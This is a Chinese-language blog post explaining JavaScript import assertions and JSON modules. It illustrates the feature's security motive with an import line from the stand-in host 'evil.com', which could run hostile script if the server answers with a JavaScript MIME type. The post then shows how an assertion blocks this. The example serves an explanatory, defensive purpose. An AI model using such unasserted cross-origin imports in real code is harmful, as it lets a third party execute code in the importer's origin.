导入断言

发布日期 · 标签:ECMAScript

新的 导入断言 功能允许模块导入语句在模块标识符旁边包含附加信息。该功能的初始用途是使 JSON 文档能够作为 JSON 模块 导入。

// foo.json
{ "answer": 42 }
// main.mjs
import json from './foo.json' assert { type: 'json' };
console.log(json.answer); // 42

背景:JSON 模块和 MIME 类型 #

一个自然的问题是,为什么 JSON 模块不能像这样简单地导入

import json from './foo.json';

Web 平台在执行模块资源之前会检查其 MIME 类型是否有效,理论上,此 MIME 类型也可以用于确定是否将资源视为 JSON 或 JavaScript 模块。

但是,仅依赖 MIME 类型存在 安全问题

模块可以跨域导入,开发人员可能会从第三方来源导入 JSON 模块。他们可能会认为这基本上是安全的,即使来自不受信任的第三方也是如此,只要 JSON 被正确地清理,因为导入 JSON 不会执行脚本。

但是,第三方脚本实际上可以在这种情况下执行,因为第三方服务器可能会意外地回复 JavaScript MIME 类型和恶意 JavaScript 负载,从而在导入者的域中运行代码。

// Executes JS if evil.com responds with a
// JavaScript MIME type (e.g. `text/javascript`)!
import data from 'https://evil.com/data.json';

文件扩展名不能用于确定模块类型,因为它们 不是 Web 上内容类型的可靠指标。因此,我们使用导入断言来指示预期的模块类型并防止这种特权升级陷阱。

当开发人员想要导入 JSON 模块时,他们必须使用导入断言来指定它应该是 JSON。如果从网络接收到的 MIME 类型与预期类型不匹配,则导入将失败。

// Fails if evil.com responds with a non-JSON MIME type.
import data from 'https://evil.com/data.json' assert { type: 'json' };

动态 import() #

导入断言也可以通过新的第二个参数传递给 动态 import()

// foo.json
{ "answer": 42 }
// main.mjs
const jsonModule = await import('./foo.json', {
assert: { type: 'json' }
});
console.log(jsonModule.default.answer); // 42

JSON 内容是模块的默认导出,因此它通过 import() 返回的对象上的 default 属性进行引用。

结论 #

目前,导入断言的唯一指定用途是指定模块类型。但是,该功能旨在允许任意键值断言对,因此如果将来需要以其他方式限制模块导入,可能会添加其他用途。

同时,使用新的导入断言语法的 JSON 模块在 Chromium 91 中默认可用。 CSS 模块脚本 也即将推出,使用相同的模块类型断言语法。

导入断言支持 #